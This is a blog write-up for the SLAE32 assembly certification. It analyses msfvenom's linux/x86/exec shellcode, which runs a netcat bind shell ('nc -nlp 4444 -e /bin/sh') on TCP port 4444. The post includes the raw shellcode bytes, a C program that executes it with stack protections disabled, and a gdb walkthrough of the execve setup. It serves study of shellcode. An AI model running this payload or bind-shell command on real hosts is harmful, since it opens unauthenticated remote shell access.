SLAE32 Assignment 5.1 - Analyzing MSF exec

11 minute read

Overview

For the 5th assignment of the SLAE Exam, I will be analyzing 3 different linux x86 shellcodes created with MSF Venom.
The first will be the payload /linux/x86/exec.

  • The command being executed will be nc -nlp 4444 -e "/bin/sh" &
  • This will create a bind shell, on TCP port 4444, on all network interfaces, and then background the process.

Testing the Command

root# nc -nlp 4444 -e "/bin/sh" &
[1] 9119
root# netstat -tnalp | grep nc
tcp   0.0.0.0:4444    0.0.0.0:*  LISTEN  9119/nc
  • The command successfully ran and was given the process ID 9119 and the job ID of 1.
  • The process nc is successfully listening on all interfaces 0.0.0.0, on TCP port 4444.

Since the job is running in the background, we can use the same terminal window to access our /bin/sh listening on all interfaces, by using netcat to connect to the localhost interface (127.0.0.1) on TCP port 4444.

Connecting to Netcat Shell

root# nc 127.0.0.1 4444
id
uid=0(root) gid=0(root) groups=0(root),46(plugdev)
  • We successfully are able to run commands with our netcat, bind shell.

Creating the Shellcode with msfvenom

Now we will use msfvenom to create a shellcode to execute our netcat, bind shell command. The output will be in C so we can easily add it to our shellcode.c program.

root# msfvenom --payload linux/x86/exec CMD='nc -nlp 4444 -e "/bin/sh" &' --format c
Payload size: 63 bytes
unsigned char buf[] = 
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x1c\x00\x00\x00\x6e"
"\x63\x20\x2d\x6e\x6c\x70\x20\x34\x34\x34\x34\x20\x2d\x65\x20"
"\x22\x2f\x62\x69\x6e\x2f\x73\x68\x22\x20\x26\x00\x57\x53\x89"
"\xe1\xcd\x80";

Setup for gdb

Shellcode.c

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x1c\x00\x00\x00\x6e"
"\x63\x20\x2d\x6e\x6c\x70\x20\x34\x34\x34\x34\x20\x2d\x65\x20"
"\x22\x2f\x62\x69\x6e\x2f\x73\x68\x22\x20\x26\x00\x57\x53\x89"
"\xe1\xcd\x80";
main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}
  • Added shellcode to this C host program so we can examine with gdb.

Compile and Run with gdb

root# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c 
root# gdb ./shellcode
gdb-peda$ info variables
0x0804a040  code
gdb-peda$ b *0x0804a040
Breakpoint 1 at 0x804a040
gdb-peda$ run
  • Found memory location of the code variable from our C Program and set a breakpoint for once it starts executing at our variables memory location.

gdb Disassemble

gdb-peda$ disassemble
Dump of assembler code for function code:
=> 0x0804a040 <+0>:     push   0xb
   0x0804a042 <+2>:     pop    eax
   0x0804a043 <+3>:     cdq
   0x0804a044 <+4>:     push   edx
   0x0804a045 <+5>:     pushw  0x632d
   0x0804a049 <+9>:     mov    edi,esp
   0x0804a04b <+11>:    push   0x68732f
   0x0804a050 <+16>:    push   0x6e69622f
   0x0804a055 <+21>:    mov    ebx,esp
   0x0804a057 <+23>:    push   edx
   0x0804a058 <+24>:    call   0x804a079 <code+57>
   0x0804a05d <+29>:    outs   dx,BYTE PTR ds:[esi]
   0x0804a05e <+30>:    arpl   WORD PTR [eax],sp
   0x0804a060 <+32>:    sub    eax,0x20706c6e
   0x0804a065 <+37>:    xor    al,0x34
   0x0804a067 <+39>:    xor    al,0x34
   0x0804a069 <+41>:    and    BYTE PTR ds:0x2f222065,ch
   0x0804a06f <+47>:    bound  ebp,QWORD PTR [ecx+0x6e]
   0x0804a072 <+50>:    das
   0x0804a073 <+51>:    jae    0x804a0dd
   0x0804a075 <+53>:    and    ah,BYTE PTR [eax]
   0x0804a077 <+55>:    add    BYTE PTR es:[edi+0x53],dl
   0x0804a07b <+59>:    mov    ecx,esp
   0x0804a07d <+61>:    int    0x80
   0x0804a07f <+63>:    add    BYTE PTR [eax],al
End of assembler dump.

Registers at time of Systemcall

EAX: 0xb ('\x0b')
EBX: 0xbffff4ce ("/bin/sh")
ECX: 0xbffff4be --> 0xbffff4ce ("/bin/sh")
EDX: 0x0

Execve Systemcall

int execve(const char *filename, char *const argv[], char *const envp[]);
    EAX         EBX                   ECX                EDX
  • EAX = 0xb - execve systemcall number
  • EBX = Memory location of “/bin/sh”,0x00 (Null Terminated)
  • ECX = Array of pointers to memory address of strings containing the program, flag, and arguements.
  • EDX = 0x00000000 - Null DWORD. Used for passing enviornment variables.

EBX Register

EBX: 0xbffff4ce ("/bin/sh")
  • “/bin/sh” was pushed onto the stack.
0xbffff4ce:     0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68    0x0
  • Hex for “/bin/bash”,0x00

ECX Register

ECX: 0xbffff4be --> 0xbffff4ce ("/bin/sh")

argv[] takes a varying amount of arguments.

  • ECX is pointed to the first arguement.
  • The other arguments should consecutively follow the first.
  • Each arguemnt in argv[] is a pointer.
  • Each arguemnt in argv[] is 4 bytes because it is a pointer to a memory location.
  • The final argument in argv[] needs to be a null DWORD. 0x00000000

argv[] on the Stack

The easiest way to set up argv[] is to use the stack, as done here.

ECX: 0xbffff4be --> 0xbffff4ce ("/bin/sh")

0000| 0xbffff4be --> 0xbffff4ce ("/bin/sh")
0004| 0xbffff4c2 --> 0xbffff4d6 --> 0x632d ('-c')
0008| 0xbffff4c6 --> 0x804a05d ("nc -nlp 4444 -e \"/bin/sh\" &")
0012| 0xbffff4ca --> 0x0
  • Each of these strings are null terminated by at least one null byte at their real memory location.

Pointer to location of “/bin/sh”,0x00

0000| 0xbffff4be --> 0xbffff4ce ("/bin/sh")

Pointer to location of “-c”,0x00

0004| 0xbffff4c2 --> 0xbffff4d6 --> 0x632d ('-c')
gdb-peda$ x/3c 0xbffff4d6
0xbffff4d6:     0x2d    0x63    0x0

Pointer to location of “nc -nlp 4444 -e "/bin/sh" &”,0x00

0008| 0xbffff4c6 --> 0x804a05d ("nc -nlp 4444 -e \"/bin/sh\" &")
gdb-peda$ x/30c 0x804a05d
0x804a05d <code+29>:    0x6e    0x63    0x20    0x2d    0x6e    0x6c    0x70    0x20
0x804a065 <code+37>:    0x34    0x34    0x34    0x34    0x20    0x2d    0x65    0x20
0x804a06d <code+45>:    0x22    0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68
0x804a075 <code+53>:    0x22    0x20    0x26    0x0     0x57    0x53

Our Terminating NULL DWORD

0012| 0xbffff4ca --> 0x
  • this is 0x00000000 that is used to terminate the argv[] array.

gdb Breakingdown by Instructions

Setting EAX for the Execve Systemcall

=> 0x804a040 <code>:    push   0xb
   0x804a042 <code+2>:  pop    eax
  • Here we see 0xb pushed and popped from the stack.
  • 0xb is 11 in decimal and is the systemcall value for execve.

Pushing “-c”,0x00 to the Stack

   0x804a043 <code+3>:  cdq    
   0x804a044 <code+4>:  push   edx
   0x804a045 <code+5>:  pushw  0x632d
=> 0x804a049 <code+9>:  mov    edi,esp
  • cdq clears the edx register
  • push edx is used to push a null onto the stack
    • This is used to terminate the string “-c”
  • pushw 0x632d is used reverse ascii for “-c”
  • mov edi,esp is used to save the memory address of our flag string into the edi register.

Pushing “/bin/sh”,0x00 onto the stack

   0x804a04b <code+11>: push   0x68732f
   0x804a050 <code+16>: push   0x6e69622f
=> 0x804a055 <code+21>: mov    ebx,esp
  • push 0x68732f actaully pushes “/sh” and our null byte onto the stack which will terminate the string.
    • This happens because 0x68732f is only 3 bytes not four.
      gdb-peda$ x/c 0xbffff4d2
      0xbffff4d2:     0x2f     /
      gdb-peda$ x/c 0xbffff4d3
      0xbffff4d3:     0x73     s
      gdb-peda$ x/c 0xbffff4d4
      0xbffff4d4:     0x68     h
      gdb-peda$ x/c 0xbffff4d5
      0xbffff4d5:     0x0     NULL
      
    • Above we can see how these bytes fit into memory on the stack.
  • push 0x6e69622f pushes ascii “/bin” onto the stack.
  • mov ebx,esp points the ebx register at the memory location of our program string “/bin/sh”,0x00.

Pushing our Netcat Command string onto the Stack

=> 0x0804a057 <+23>:    push   edx
   0x0804a058 <+24>:    call   0x804a079 <code+57>
   0x0804a05d <+29>:    outs   dx,BYTE PTR ds:[esi]
   0x0804a05e <+30>:    arpl   WORD PTR [eax],sp
   0x0804a060 <+32>:    sub    eax,0x20706c6e
   0x0804a065 <+37>:    xor    al,0x34
   0x0804a067 <+39>:    xor    al,0x34
   0x0804a069 <+41>:    and    BYTE PTR ds:0x2f222065,ch
   0x0804a06f <+47>:    bound  ebp,QWORD PTR [ecx+0x6e]
   0x0804a072 <+50>:    das    
   0x0804a073 <+51>:    jae    0x804a0dd
   0x0804a075 <+53>:    and    ah,BYTE PTR [eax]
   0x0804a077 <+55>:    add    BYTE PTR es:[edi+0x53],dl
  • push edx pushes a Null Dword onto the stack
    • we need this to end the argv[] array that will be pointed to by the ecx register.
  • call 0x804a079 <code+57> is push the following netcat string onto the stack, and jump over the string.
  • All of the other strings shown in this block are just the netcat string.

argv[] on the Stack

0000| 0xbffff4c6 --> 0x804a05d ("nc -nlp 4444 -e \"/bin/sh\" &")
0004| 0xbffff4ca --> 0x0 
  • These fufill the last 2 of the 4 addresses we need for our argv[] array.

Finishing up argv[]

  • As we will see, our disassembling failed us at the last few commands. When stepping through the execution with gdb we see what really is being executed.
=> 0x804a079 <code+57>: push   edi
   0x804a07a <code+58>: push   ebx
   0x804a07b <code+59>: mov    ecx,esp
  • push edi is used to push the pointer to our “-c” flag onto the stack.
EDI: 0xbffff4d6 --> 0x632d ('-c')
  • push ebx is used to push the pointer to our program filepath string to the stack.
  • mov ecx,esp points our ecx register to our array of memory pointers to fufill our argv[] array.

Final argv[] Stack

0000| 0xbffff4be --> 0xbffff4ce ("/bin/sh")
0004| 0xbffff4c2 --> 0xbffff4d6 --> 0x632d ('-c')
0008| 0xbffff4c6 --> 0x804a05d ("nc -nlp 4444 -e \"/bin/sh\" &")
0012| 0xbffff4ca --> 0x0 

Execution

=> 0x804a07d <code+61>: int    0x80
  • Now that everything is in place, int 0x80 is used to trigger the systemcall interrupt.

SLAE32 Blog Proof

This blog post has been created for completing the requirements
 of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
	- Now at: https://www.pentesteracademy.com/course?id=3
SLAE/Student ID: PA-10913

Updated: